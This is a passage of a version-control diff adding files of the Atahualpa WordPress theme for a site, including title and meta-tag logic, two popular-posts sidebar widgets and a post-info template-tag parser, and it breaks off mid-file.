+		$bfa_ata_page_title = __('404 - Page not found','atahualpa'); }
+	else { 
+		$bfa_ata_page_title = wp_title('', false); } 
+	
+	switch ($bfa_ata_title_separator_code) {
+		case 1: $bfa_ata_title_separator = " &#171; "; break;
+		case 2: $bfa_ata_title_separator = " &#187; "; break;
+		case 3: $bfa_ata_title_separator = " &#58; "; break;
+		case 4: $bfa_ata_title_separator = "&#58; "; break;
+		case 5: $bfa_ata_title_separator = " &#62; "; break;
+		case 6: $bfa_ata_title_separator = " &#60; "; break;
+		case 7: $bfa_ata_title_separator = " &#45; "; break;
+		case 8: $bfa_ata_title_separator = " &#8249; "; break;
+		case 9: $bfa_ata_title_separator = " &#8250; "; break;
+		case 10: $bfa_ata_title_separator = " &#8226; "; break;
+		case 11: $bfa_ata_title_separator = " &#183; "; break;
+		case 12: $bfa_ata_title_separator = " &#151; "; break;
+		case 13: $bfa_ata_title_separator = " &#124; "; break;	
+	}
+//
+// 3 different styles for meta title tag: (1) Blog Title - Page Title, (2) Page Title - Blog Title, (3) Page Title
+// To be set in WP Admin -> Design ("Presentation" in WP 2.3 and older) -> [Theme Name] Theme Options 
+//
+	if ($bfa_ata_add_blogtitle == "Blog Title - Page Title") {
+		bloginfo('name'); echo $bfa_ata_title_separator . $bfa_ata_page_title; }
+	elseif ($bfa_ata_add_blogtitle == "Page Title - Blog Title") {
+		echo $bfa_ata_page_title . $bfa_ata_title_separator; bloginfo('name'); }
+	elseif ($bfa_ata_add_blogtitle == "Page Title") { echo $bfa_ata_page_title; }
+}
+// END TITLE TAG
+//
+?>
+</title>
+<?php 
+//
+// META DESCRIPTION Tag for (only) the HOMEPAGE. 
+// To be set in WP Admin -> Design ("Presentation" in WP 2.3 and older) -> [Theme Name] Theme Options 
+//
+if ( is_home() && trim($bfa_ata_homepage_meta_description) != "" ) { 
+	echo "<meta name=\"description\" content=\"" . htmlentities($bfa_ata_homepage_meta_description,ENT_QUOTES) . "\" />\n"; 
+	}
+//
+// META KEYWORDS Tag for (only) the HOMEPAGE. 
+// To be set in WP Admin -> Design ("Presentation" in WP 2.3 and older) -> [Theme Name] Theme Options 
+if ( is_home() && trim($bfa_ata_homepage_meta_keywords) != "" ) { 
+	echo "<meta name=\"keywords\" content=\"" . htmlentities($bfa_ata_homepage_meta_keywords,ENT_QUOTES) . "\" />\n"; 
+	}
+//
+// META DESCRIPTION Tag for CATEGORY PAGES, if a category description exists:
+//
+if ( is_category() && strip_tags(trim(category_description())) != "" ) {
+	// the category description gets its own ASCII code filter from WP, 
+	// but <p> ... </p> tags will be included by WP, so we remove them here:
+	echo "<meta name=\"description\" content=\"" . strip_tags(trim(category_description())) . "\" />\n"; 	 
+}
+//
+// prevent duplicate content by making archive pages noindex:
+// To be set in WP Admin -> Design ("Presentation" in WP 2.3 and older) -> [Theme Name] Theme Options 
+//
+// If it's a date, category or tag page:
+if ( ($bfa_ata_archive_noindex == "Yes" && is_date()) OR 
+($bfa_ata_cat_noindex == "Yes" && is_category()) OR 
+($bfa_ata_tag_noindex == "Yes" && is_tag()) ) { ?>
+<meta name="robots" content="noindex, follow" />  <?php echo "\n"; } ?>
+<?php } ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_popular_in_cat.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_popular_in_cat.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_popular_in_cat.php	(revision 44)
@@ -0,0 +1,136 @@
+<?php
+/*
+Plugin Name: BFA Popular in Cat
+Plugin URI: http://wordpress.bytesforall.com/
+Description: Configurable WordPress widget that displays the most popular posts in a given category based on the number of comments 
+Version: 1.0
+Author: BFA Webdesign
+Author URI: http://www.bytesforall.com/
+*/
+/*
+Based on Plugin "Most Commented" by Nick Momrik http://mtdewvirus.com/ Version 1.5
+and the modification Last X days by DJ Chuang www.djchuang.com 
+*/
+
+
+	// Check for the required plugin functions. This will prevent fatal
+	// errors occurring when you deactivate the dynamic-sidebar plugin.
+	if ( !function_exists('register_sidebar_widget') )
+		return;
+
+	// This is the function that outputs our little widget
+	function widget_mdv_most_commented_per_cat($args) {
+	  extract($args);
+
+	if (is_category() ) { 
+		
+		$cat_id = get_query_var('cat');
+
+	  // Fetch our parameters
+	  $bfa_pic_options = get_option('widget_mdv_most_commented_per_cat');
+	  $bfa_pic_title = $bfa_pic_options['bfa_pic_title'];
+	  $bfa_pic_no_posts = $bfa_pic_options['bfa_pic_no_posts'];
+	  $bfa_pic_duration = $bfa_pic_options['bfa_pic_duration'];
+	  $bfa_pic_min_amount_comments = $bfa_pic_options['bfa_pic_min_amount_comments'];
+	  $bfa_pic_prepend_cat_title = $bfa_pic_options['bfa_pic_prepend_cat_title'];  
+	  $bfa_pic_append_cat_title = $bfa_pic_options['bfa_pic_append_cat_title'];
+	  
+	  $current_cat_title = htmlentities(single_cat_title('', false),ENT_QUOTES);
+	  if ($bfa_pic_prepend_cat_title == "on" ) { $bfa_pic_title = $current_cat_title . " " . $bfa_pic_title; }
+	  if ($bfa_pic_append_cat_title == "on" ) { $bfa_pic_title = $bfa_pic_title . " " . $current_cat_title; }	  
+	  	  
+	  global $wpdb;
+
+
+		$bfa_pic_request = "SELECT DISTINCT ID, post_title, comment_count FROM $wpdb->posts as p";
+		$bfa_pic_request .= " INNER JOIN $wpdb->term_relationships AS tr ON";
+		$bfa_pic_request .= " (p.ID = tr.object_id AND";
+		$bfa_pic_request .= " tr.term_taxonomy_id = $cat_id )";
+		$bfa_pic_request .= " INNER JOIN $wpdb->term_taxonomy AS tt ON";
+		$bfa_pic_request .= " (tr.term_taxonomy_id = tt.term_taxonomy_id AND";
+		$bfa_pic_request .= " taxonomy = 'category')";
+		$bfa_pic_request .= " WHERE post_status = 'publish' AND comment_count >= $bfa_pic_min_amount_comments";
+		$bfa_pic_request .= " AND post_password =''";
+	
+		if ($bfa_pic_duration !="") $bfa_pic_request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$bfa_pic_duration." DAY) < post_date ";
+	
+		$bfa_pic_request .= " ORDER BY comment_count DESC LIMIT $bfa_pic_no_posts";
+		$bfa_pic_posts = $wpdb->get_results($bfa_pic_request);
+
+		if ($bfa_pic_posts) {
+			foreach ($bfa_pic_posts as $bfa_pic_post) {
+				$bfa_pic_post_title = stripslashes($bfa_pic_post->post_title);
+				$bfa_pic_comment_count = $bfa_pic_post->comment_count;
+				$bfa_pic_permalink = get_permalink($bfa_pic_post->ID);
+				$widget_mdv_most_commented_per_cat .= '<li><a href="' . $bfa_pic_permalink . '" title="' . $bfa_pic_post_title.'">' . $bfa_pic_post_title . ' (' . $bfa_pic_comment_count . ')</a></li>';
+			}
+		} else {
+			$widget_mdv_most_commented_per_cat = "None found";
+		}
+	
+
+    if ($widget_mdv_most_commented_per_cat != "None found") {
+    echo $before_widget . $before_title . $bfa_pic_title . $after_title;	
+    echo "<ul>" . $widget_mdv_most_commented_per_cat . "</ul>";
+    echo $after_widget;
+    } else { return $widget_mdv_most_commented_per_cat; }
+}
+}
+
+
+	// This is the function that outputs the form to let the users edit
+	// the widget's parameters.
+	function widget_mdv_most_commented_per_cat_control() {
+
+	  // Fetch the options, check them and if need be, update the options array
+	  $bfa_pic_options = $bfa_pic_newoptions = get_option('widget_mdv_most_commented_per_cat');
+	  if ( $_POST["bfa_pic_src-submit"] ) {
+	    $bfa_pic_newoptions['bfa_pic_title'] = strip_tags(stripslashes($_POST["bfa_pic_src-title"]));
+	    $bfa_pic_newoptions['bfa_pic_no_posts'] = (int) $_POST["bfa_pic_no_posts"];
+	    $bfa_pic_newoptions['bfa_pic_duration'] = (int) $_POST["bfa_pic_duration"];
+	    $bfa_pic_newoptions['bfa_pic_min_amount_comments'] = (int) $_POST["bfa_pic_min_amount_comments"];
+	    $bfa_pic_newoptions['bfa_pic_append_cat_title'] = !isset($_POST["bfa_pic_append_cat_title"]) ? NULL : $_POST["bfa_pic_append_cat_title"];
+	    $bfa_pic_newoptions['bfa_pic_prepend_cat_title'] = !isset($_POST["bfa_pic_prepend_cat_title"]) ? NULL : $_POST["bfa_pic_prepend_cat_title"];
+	    	    	    	    
+	  }
+	  if ( $bfa_pic_options != $bfa_pic_newoptions ) {
+	    $bfa_pic_options = $bfa_pic_newoptions;
+	    update_option('widget_mdv_most_commented_per_cat', $bfa_pic_options);
+	  }
+
+	  // Default options to the parameters
+	  if ( !$bfa_pic_options['bfa_pic_no_posts'] ) $bfa_pic_options['bfa_pic_no_posts'] = 10;
+	  if ( !$bfa_pic_options['bfa_pic_min_amount_comments'] OR $bfa_pic_options['bfa_pic_min_amount_comments'] == 0) $bfa_pic_options['bfa_pic_min_amount_comments'] = 1;
+
+	  $bfa_pic_no_posts = $bfa_pic_options['bfa_pic_no_posts'];
+	  $bfa_pic_duration = $bfa_pic_options['bfa_pic_duration'];
+	  $bfa_pic_min_amount_comments = $bfa_pic_options['bfa_pic_min_amount_comments'];
+	  $bfa_pic_append_cat_title = $bfa_pic_options['bfa_pic_append_cat_title'];
+	  $bfa_pic_prepend_cat_title = $bfa_pic_options['bfa_pic_prepend_cat_title'];
+	  	  
+	  // Deal with HTML in the parameters
+	  $bfa_pic_title = htmlspecialchars($bfa_pic_options['bfa_pic_title'], ENT_QUOTES);
+
+?>
+	    Title: <input style="width: 450px;" id="bfa_pic_src-title" name="bfa_pic_src-title" type="text" value="<?php echo $bfa_pic_title; ?>" />
+            <hr noshade size="1" style="clear:left; color: #ccc">
+            <p style="text-align: left;"><input id="bfa_pic_prepend_cat_title" name="bfa_pic_prepend_cat_title" type="checkbox" <?php if($bfa_pic_prepend_cat_title == "on"){echo " CHECKED";}?> />Prepend &nbsp; 
+            <p style="text-align: left;"><input id="bfa_pic_append_cat_title" name="bfa_pic_append_cat_title" type="checkbox" <?php if($bfa_pic_append_cat_title == "on"){echo " CHECKED";}?> /> Append &nbsp;&nbsp;&nbsp;Category Name to Title
+            <hr noshade size="1" style="clear:left; color: #ccc">
+            <p style="text-align: left;">Show <input style="width: 40px;" id="bfa_pic_no_posts" name="bfa_pic_no_posts" type="text" value="<?php echo $bfa_pic_no_posts; ?>" /> 
+            posts not older than <input style="width: 60px;" id="bfa_pic_duration" name="bfa_pic_duration" type="text" value="<?php echo $bfa_pic_duration; ?>" /> days and with at least&nbsp;
+   	    <input style="width: 40px;" id="bfa_pic_min_amount_comments" name="bfa_pic_min_amount_comments" type="text" value="<?php echo $bfa_pic_min_amount_comments; ?>" /> comments
+   	    </p>
+            <div style="clear:left"></div>
+  	    <input type="hidden" id="bfa_pic_src-submit" name="bfa_pic_src-submit" value="1" />
+<?php
+	 }
+	
+	// This registers our widget so it appears with the other available
+	// widgets and can be dragged and dropped into any active sidebars.
+	register_sidebar_widget('BFA Popular in Cat', 'widget_mdv_most_commented_per_cat');
+
+	// This registers our optional widget control form. Because of this
+	// our widget will have a button that reveals a 520x480 pixel form.
+	register_widget_control('BFA Popular in Cat', 'widget_mdv_most_commented_per_cat_control', 520, 480);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_popular_posts.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_popular_posts.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_popular_posts.php	(revision 44)
@@ -0,0 +1,151 @@
+<?php
+/*
+Plugin Name: BFA Popular Posts
+Plugin URI: http://wordpress.bytesforall.com/
+Description: Configurable WordPress widget that displays the most popular posts based on the number of comments 
+Version: 1.0
+Author: BFA Webdesign
+Author URI: http://www.bytesforall.com/
+*/
+/*
+Based on Plugin "Most Commented" by Nick Momrik http://mtdewvirus.com/ Version 1.5
+and the modification Last X days by DJ Chuang www.djchuang.com 
+*/
+
+
+	// Check for the required plugin functions. This will prevent fatal
+	// errors occurring when you deactivate the dynamic-sidebar plugin.
+	if ( !function_exists('register_sidebar_widget') )
+		return;
+
+	// This is the function that outputs our little widget
+	function widget_mdv_most_commented($args) {
+	  extract($args);
+
+	  // Fetch our parameters
+	  $bfa_pp_options = get_option('widget_mdv_most_commented');
+	  $bfa_pp_title = $bfa_pp_options['bfa_pp_title'];
+	  $bfa_pp_no_posts = $bfa_pp_options['bfa_pp_no_posts'];
+	  $bfa_pp_duration = $bfa_pp_options['bfa_pp_duration'];
+	  $bfa_pp_min_amount_comments = $bfa_pp_options['bfa_pp_min_amount_comments'];
+	  $bfa_pp_display_homepage = $bfa_pp_options['bfa_pp_display_homepage'];
+	  $bfa_pp_display_category = $bfa_pp_options['bfa_pp_display_category'];
+	  $bfa_pp_display_post = $bfa_pp_options['bfa_pp_display_post'];
+	  $bfa_pp_display_page = $bfa_pp_options['bfa_pp_display_page'];
+	  $bfa_pp_display_archive = $bfa_pp_options['bfa_pp_display_archive'];
+	  $bfa_pp_display_tag = $bfa_pp_options['bfa_pp_display_tag'];
+	  $bfa_pp_display_search = $bfa_pp_options['bfa_pp_display_search'];
+	  $bfa_pp_display_author = $bfa_pp_options['bfa_pp_display_author'];
+	  $bfa_pp_display_404 = $bfa_pp_options['bfa_pp_display_404'];
+	  	  
+	  global $wpdb;
+
+
+		$bfa_pp_request = "SELECT ID, post_title, comment_count FROM $wpdb->posts";
+		$bfa_pp_request .= " WHERE post_status = 'publish' AND comment_count >= $bfa_pp_min_amount_comments";
+		$bfa_pp_request .= " AND post_password =''";
+	
+		if ($bfa_pp_duration !="") $bfa_pp_request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$bfa_pp_duration." DAY) < post_date ";
+	
+		$bfa_pp_request .= " ORDER BY comment_count DESC LIMIT $bfa_pp_no_posts";
+		$bfa_pp_posts = $wpdb->get_results($bfa_pp_request);
+
+		if ($bfa_pp_posts) {
+			foreach ($bfa_pp_posts as $bfa_pp_post) {
+				$bfa_pp_post_title = stripslashes($bfa_pp_post->post_title);
+				$bfa_pp_comment_count = $bfa_pp_post->comment_count;
+				$bfa_pp_permalink = get_permalink($bfa_pp_post->ID);
+				$widget_mdv_most_commented .= '<li><a href="' . $bfa_pp_permalink . '" title="' . $bfa_pp_post_title.'">' . $bfa_pp_post_title . ' (' . $bfa_pp_comment_count . ')</a></li>';
+			}
+		} else {
+			$widget_mdv_most_commented = "None found";
+		}
+	
+
+    if ($widget_mdv_most_commented != "None found") {
+    echo $before_widget . $before_title . $bfa_pp_title . $after_title;	
+    echo "<ul>" . $widget_mdv_most_commented . "</ul>";
+    echo $after_widget;
+    } else { return $widget_mdv_most_commented; }
+}
+
+
+
+	// This is the function that outputs the form to let the users edit
+	// the widget's parameters.
+	function widget_mdv_most_commented_control() {
+
+	  // Fetch the options, check them and if need be, update the options array
+	  $bfa_pp_options = $bfa_pp_newoptions = get_option('widget_mdv_most_commented');
+	  if ( $_POST["bfa_pp_src-submit"] ) {
+	    $bfa_pp_newoptions['bfa_pp_title'] = strip_tags(stripslashes($_POST["bfa_pp_src-title"]));
+	    $bfa_pp_newoptions['bfa_pp_no_posts'] = (int) $_POST["bfa_pp_no_posts"];
+	    $bfa_pp_newoptions['bfa_pp_duration'] = (int) $_POST["bfa_pp_duration"];
+	    $bfa_pp_newoptions['bfa_pp_min_amount_comments'] = (int) $_POST["bfa_pp_min_amount_comments"];
+	    $bfa_pp_newoptions['bfa_pp_display_homepage'] = !isset($_POST["bfa_pp_display_homepage"]) ? NULL : $_POST["bfa_pp_display_homepage"];
+	    $bfa_pp_newoptions['bfa_pp_display_category'] = !isset($_POST["bfa_pp_display_category"]) ? NULL : $_POST["bfa_pp_display_category"];
+	    $bfa_pp_newoptions['bfa_pp_display_post'] = !isset($_POST["bfa_pp_display_post"]) ? NULL : $_POST["bfa_pp_display_post"];
+	    $bfa_pp_newoptions['bfa_pp_display_page'] = !isset($_POST["bfa_pp_display_page"]) ? NULL : $_POST["bfa_pp_display_page"];
+	    $bfa_pp_newoptions['bfa_pp_display_archive'] = !isset($_POST["bfa_pp_display_archive"]) ? NULL : $_POST["bfa_pp_display_archive"];
+	    $bfa_pp_newoptions['bfa_pp_display_tag'] = !isset($_POST["bfa_pp_display_tag"]) ? NULL : $_POST["bfa_pp_display_tag"];
+	    $bfa_pp_newoptions['bfa_pp_display_search'] = !isset($_POST["bfa_pp_display_search"]) ? NULL : $_POST["bfa_pp_display_search"];
+	    $bfa_pp_newoptions['bfa_pp_display_author'] = !isset($_POST["bfa_pp_display_author"]) ? NULL : $_POST["bfa_pp_display_author"];
+	    $bfa_pp_newoptions['bfa_pp_display_404'] = !isset($_POST["bfa_pp_display_404"]) ? NULL : $_POST["bfa_pp_display_404"];
+	    	    	    	    
+	  }
+	  if ( $bfa_pp_options != $bfa_pp_newoptions ) {
+	    $bfa_pp_options = $bfa_pp_newoptions;
+	    update_option('widget_mdv_most_commented', $bfa_pp_options);
+	  }
+
+	  // Default options to the parameters
+	  if ( !$bfa_pp_options['bfa_pp_no_posts'] ) $options['bfa_pp_no_posts'] = 10;
+	  if ( !$bfa_pp_options['bfa_pp_min_amount_comments'] OR $bfa_pp_options['bfa_pp_min_amount_comments'] == 0) $bfa_pp_options['bfa_pp_min_amount_comments'] = 1;
+
+	  $bfa_pp_no_posts = $bfa_pp_options['bfa_pp_no_posts'];
+	  $bfa_pp_duration = $bfa_pp_options['bfa_pp_duration'];
+	  $bfa_pp_min_amount_comments = $bfa_pp_options['bfa_pp_min_amount_comments'];
+	  $bfa_pp_display_homepage = $bfa_pp_options['bfa_pp_display_homepage'];
+	  $bfa_pp_display_category = $bfa_pp_options['bfa_pp_display_category'];
+	  $bfa_pp_display_post = $bfa_pp_options['bfa_pp_display_post'];
+	  $bfa_pp_display_page = $bfa_pp_options['bfa_pp_display_page'];
+	  $bfa_pp_display_archive = $bfa_pp_options['bfa_pp_display_archive'];
+	  $bfa_pp_display_tag = $bfa_pp_options['bfa_pp_display_tag'];	  
+	  $bfa_pp_display_search = $bfa_pp_options['bfa_pp_display_search'];
+	  $bfa_pp_display_author = $bfa_pp_options['bfa_pp_display_author'];
+	  $bfa_pp_display_404 = $bfa_pp_options['bfa_pp_display_404'];
+	  	  
+	  // Deal with HTML in the parameters
+	  $bfa_pp_title = htmlspecialchars($bfa_pp_options['bfa_pp_title'], ENT_QUOTES);
+
+?>
+	    Title: <input style="width: 450px;" id="bfa_pp_src-title" name="bfa_pp_src-title" type="text" value="<?php echo $bfa_pp_title; ?>" />
+            <hr noshade size="1" style="clear:left; color: #ccc">
+            <p style="text-align: left;">Show <input style="width: 40px;" id="bfa_pp_no_posts" name="bfa_pp_no_posts" type="text" value="<?php echo $bfa_pp_no_posts; ?>" /> 
+            posts not older than <input style="width: 60px;" id="bfa_pp_duration" name="bfa_pp_duration" type="text" value="<?php echo $bfa_pp_duration; ?>" /> days and with at least&nbsp;
+   	    <input style="width: 40px;" id="bfa_pp_min_amount_comments" name="bfa_pp_min_amount_comments" type="text" value="<?php echo $bfa_pp_min_amount_comments; ?>" /> comment(s)
+   	    </p>
+  	    <hr noshade size="1" style="clear:left; color: #ccc">
+            <p>And display the list on: </p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_pp_display_homepage" name="bfa_pp_display_homepage" type="checkbox" <?php if($bfa_pp_display_homepage == "on"){echo " CHECKED";}?> /> Homepage</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_pp_display_category" name="bfa_pp_display_category" type="checkbox" <?php if($bfa_pp_display_category == "on"){echo " CHECKED";}?> /> Category Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_pp_display_post" name="bfa_pp_display_post" type="checkbox" <?php if($bfa_pp_display_post == "on"){echo " CHECKED";}?> /> Single Post Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_pp_display_page" name="bfa_pp_display_page" type="checkbox" <?php if($bfa_pp_display_page == "on"){echo " CHECKED";}?> /> "Page" Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_pp_display_archive" name="bfa_pp_display_archive" type="checkbox" <?php if($bfa_pp_display_archive == "on"){echo " CHECKED";}?> /> Archive Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_pp_display_tag" name="bfa_pp_display_tag" type="checkbox" <?php if($bfa_pp_display_tag == "on"){echo " CHECKED";}?> /> Tag Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_pp_display_search" name="bfa_pp_display_search" type="checkbox" <?php if($bfa_pp_display_search == "on"){echo " CHECKED";}?> /> Search Result Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_pp_display_author" name="bfa_pp_display_author" type="checkbox" <?php if($bfa_pp_display_author == "on"){echo " CHECKED";}?> /> Author Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_pp_display_404" name="bfa_pp_display_404" type="checkbox" <?php if($bfa_pp_display_404 == "on"){echo " CHECKED";}?> /> 404 Not Found Pages</p>
+            <div style="clear:left"></div>
+  	    <input type="hidden" id="bfa_pp_src-submit" name="bfa_pp_src-submit" value="1" />
+<?php
+	 }
+	
+	// This registers our widget so it appears with the other available
+	// widgets and can be dragged and dropped into any active sidebars.
+	register_sidebar_widget('BFA Popular Posts', 'widget_mdv_most_commented');
+
+	// This registers our optional widget control form. Because of this
+	// our widget will have a button that reveals a 520x480 pixel form.
+	register_widget_control('BFA Popular Posts', 'widget_mdv_most_commented_control', 520, 480);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_postinfo.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_postinfo.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_postinfo.php	(revision 44)
@@ -0,0 +1,194 @@
+<?php
+function image_files($matches) {
+return '<img src="' . get_bloginfo('template_directory') . '/images/icons/' . $matches[1] . '" alt="" />';
+}
+
+function postinfo($postinfo_string) {
+
+// replace put date format escape character (#) with backslashes
+// This is needed because we remove all backslashes to avoid issues with hosts that have magic_quotes_gpc ON 
+// but we want to keep (only) the backslashes inside date items that used to escape literal strings inside dates
+$postinfo_string = str_replace("#", "\\", $postinfo_string);
+
+# get all the data for the current post
+//$post_id = $wp_query->get_queried_object_id();
+$post_id = $post->ID;
+$post_data = get_post($post_id, ARRAY_A);
+$post_title = $post_data['post_title'];
+$post_author_id = $post_data['post_author'];
+$post_comment_count = $post_data['comment_count'];
+$post_comment_status = $post_data['comment_status'];
+// This may not work for imported posts:
+// $post_permalink = $post_data['guid'];
+$post_permalink = get_permalink($post_id);
+$post_date = $post_data['post_date'];
+#$post_date = date("Y m d",strtotime($post->post_date))
+
+if (strpos($postinfo_string,'%tags')!==false) {
+######## TAGS ########
+$tag_options = preg_match("/(.*)%tags\('(.*?)'(.*?)'(.*?)'(.*?)'(.*?)'(.*)/i",$postinfo_string,$tag_matches);
+$tag_link_options = preg_match("/(.*)%tags-linked\('(.*?)'(.*?)'(.*?)'(.*?)'(.*?)'(.*)/i",$postinfo_string,$tag_link_matches);
+// tags-linked
+if (get_the_tag_list()) {$tags_linked = get_the_tag_list($tag_link_matches[2], $tag_link_matches[4], $tag_link_matches[6]);} 
+else { $tags_linked = ""; }
+// tags
+$posttags = get_the_tags();
+if ($posttags) { foreach($posttags as $tag) {
+$tag_list .= $tag->name . $tag_matches[4]; 
+}
+// remove last separator
+$tag_list = preg_replace("/".$tag_matches[4]."$/mi", "", $tag_list);
+$tags = $tag_matches[2] . $tag_list . $tag_matches[6];
+} else { $tags = ""; }
+}
+
+if (strpos($postinfo_string,'%author')!==false) {
+######### AUTHOR ########
+$author_name = get_author_name($post_author_id);
+$author_url = get_author_posts_url($post_author_id, $author_name);
+// author-linked
+$author_linked = '<a href="' . $author_url . '">' . $author_name . '</a>';
+// author 
+$author = $author_name;
+}
+
+if (strpos($postinfo_string,'%date(')!==false) {
+######## DATE ########
+$date_param = preg_match("/(.*)\%date\('(.*?)'\)(.*)/i",$postinfo_string,$date_matches);
+# This works, but not with localization:
+#$date = date("$date_matches[2]",strtotime($post_date));
+#$date = mysql2date($date_matches[2], date('Y-m-d H:i:s',strtotime($post_date)));
+#$date = mysql2date($date_matches[2], $post_date);
+$date = mysql2date($date_matches[2], get_the_time('Y-m-d H:i:s'));
+}
+
+if (strpos($postinfo_string,'%category')!==false) {
+######## CATEGORY ########
+// category
+$all_categories = get_the_category(); 
+$category = $all_categories[0]->cat_name;
+$category_notlinked = $category;  
+// category-linked
+$category_linked = '<a href="' . get_category_link($all_categories[0]->cat_ID) . '">' . $category . '</a>';
+}
+
+if (strpos($postinfo_string,'%categories')!==false) {
+######## CATEGORIES ########
+$category_separator = preg_match("/(.*)%categories\('(.*?)'\)(.*)/i",$postinfo_string,$category_matches);
+$category_linked_separator = preg_match("/(.*)%categories-linked\('(.*?)'\)(.*)/i",$postinfo_string,$category_linked_matches);
+$categories = "";
+$categories_linked = "";
+foreach((get_the_category()) as $category) { 
+// categories
+$categories .= $category->cat_name . $category_matches[2]; 
+// categories-linked
+$categories_linked .= '<a href="' . get_category_link($category->cat_ID) . '">' . $category->cat_name . '</a>' . $category_linked_matches[2];
+} 
+// remove last separator
+$categories = preg_replace("/".$category_matches[2]."$/mi", "", $categories);
+$categories_linked = preg_replace("/".$category_linked_matches[2]."$/mi", "", $categories_linked);
+}
+
+if (strpos($postinfo_string,'%comments(')!==false) {
+######## COMMENTS ########
+$comment_options = preg_match("/(.*)%comments\('(.*?)'(.*?)'(.*?)'(.*?)'(.*?)'(.*?)'(.*?)'(.*)/i",$postinfo_string,$comment_matches);
+
+if ($post_comment_count == 0) { $comment_link_anchor = $comment_matches[2]; } 
+elseif ($post_comment_count == 1) { $comment_link_anchor = $comment_matches[4]; } 
+elseif ($post_comment_count > 1) { $comment_link_anchor = str_replace("%", $post_comment_count, $comment_matches[6]); } 
+elseif ($post_comment_status == "closed") { $comment_link_anchor = $comment_matches[8]; }
+
+if ($post_comment_status == "closed") { $comment_link = $comment_matches[8]; } 
+else { $comment_link = '<a href="' . get_permalink() . '#comments">' . $comment_link_anchor . '</a>'; }
+}
+
+if (strpos($postinfo_string,'%comments-rss')!==false) {
+######## COMMENTS RSS #####
+$comments_rss_url = comments_rss();
+$comments_rss_link_text = preg_match("/(.*)%comments-rss\('(.*?)'(.*)/i",$postinfo_string,$comments_rss_matches);
+$comments_rss_link = '<a href="' . $comments_rss_url .'"';
+global $options; if (get_option('bfa_ata_nofollow') == "Yes") {
+$comments_rss_link .= ' rel="nofollow"';
+}
+$comments_rss_link .= '>' . $comments_rss_matches[2] . '</a>';
+}
+
+if (strpos($postinfo_string,'%trackback(')!==false) {
+######## TRACKBACK ########
+$trackback_url = trackback_url(false);
+$trackback_link_text = preg_match("/(.*)%trackback\('(.*?)'(.*)/i",$postinfo_string,$trackback_matches);
+$trackback_link = '<a href="' . $trackback_url . '">' . $trackback_matches[2] . '</a>';
+}
+
+if (strpos($postinfo_string,'%edit(')!==false) {
+######## EDIT ########
+$edit_options = preg_match("/(.*)%edit\('(.*?)'(.*?)'(.*?)'(.*?)'(.*?)'(.*)/i",$postinfo_string,$edit_matches);
+$edit_link = get_edit_post_link( $post->ID );
+if ( !current_user_can( 'edit_page', $post->ID )) { $edit = ""; } 
+else { $edit = $edit_matches[2] . '<a href="' . $edit_link . '">' . $edit_matches[4] . '</a>' . $edit_matches[6]; }
+}
+
+if (strpos($postinfo_string,'%print(')!==false) {
+######## PRINT ########
+$print_text = preg_match("/(.*)%print\('(.*?)'(.*)/i",$postinfo_string,$print_text_matches);
+$print_link = '<a href="javascript:window.print()">' .$print_text_matches[2]. '</a>';
+}
+
+if (strpos($postinfo_string,'%wp-email')!==false) {
+######## EMAIL ########
+$wp_email = ( function_exists('wp_email') ? email_link($email_post_text = '', $email_page_text = '', $echo = false) : "" );
+}
+
+if (strpos($postinfo_string,'%wp-print')!==false) {
+######## WP-PRINT ########
+$wp_print = ( function_exists('wp_print') ? print_link($print_post_text = '', $print_page_text = '', $echo = false) : "" );
+}
+
+if (strpos($postinfo_string,'%wp-postviews')!==false) {
+######## WP-POSTVIEWS ########
+$wp_postviews = ( function_exists('the_views') ? the_views($display = false) : "" );
+}
+
+if (strpos($postinfo_string,'%wp-postratings')!==false) {
+######## WP-POSTRATINGS ########
+$wp_postratings = ( function_exists('the_ratings') ? the_ratings($start_tag = 'span', $custom_id = 0, $display = false) : "" );
+}
+
+if (strpos($postinfo_string,'%sociable')!==false) {
+######## SOCIABLE ########
+$sociable = ( (function_exists('sociable_html2') AND function_exists('sociable_html'))? $sociable = sociable_html2() : "" );
+}
+
+
+
+
+$postinfo = $postinfo_string;
+$postinfo = preg_replace("/(.*)%tags\((.*?)\)%(.*)/i", "\${1}" .$tags. "\${3}", $postinfo);
+$postinfo = preg_replace("/(.*)%tags-linked\((.*?)\)%(.*)/i", "\${1}" .$tags_linked. "\${3}", $postinfo);
+$postinfo = str_replace("%author%", $author, $postinfo);
+$postinfo = str_replace("%author-linked%", $author_linked, $postinfo);
+$postinfo = preg_replace("/(.*)%date\((.*?)\)%(.*)/i", "\${1}" .$date. "\${3}", $postinfo);
+$postinfo = str_replace("%category%", $category_notlinked, $postinfo);
+$postinfo = str_replace("%category-linked%", $category_linked, $postinfo);
+$postinfo = preg_replace("/(.*)%categories\((.*?)\)%(.*)/i", "\${1}" .$categories. "\${3}", $postinfo);
+$postinfo = preg_replace("/(.*)%categories-linked\((.*?)\)%(.*)/i", "\${1}" .$categories_linked. "\${3}", $postinfo);
+$postinfo = preg_replace("/(.*)%comments\((.*?)\)%(.*)/i", "\${1}" .$comment_link. "\${3}", $postinfo);
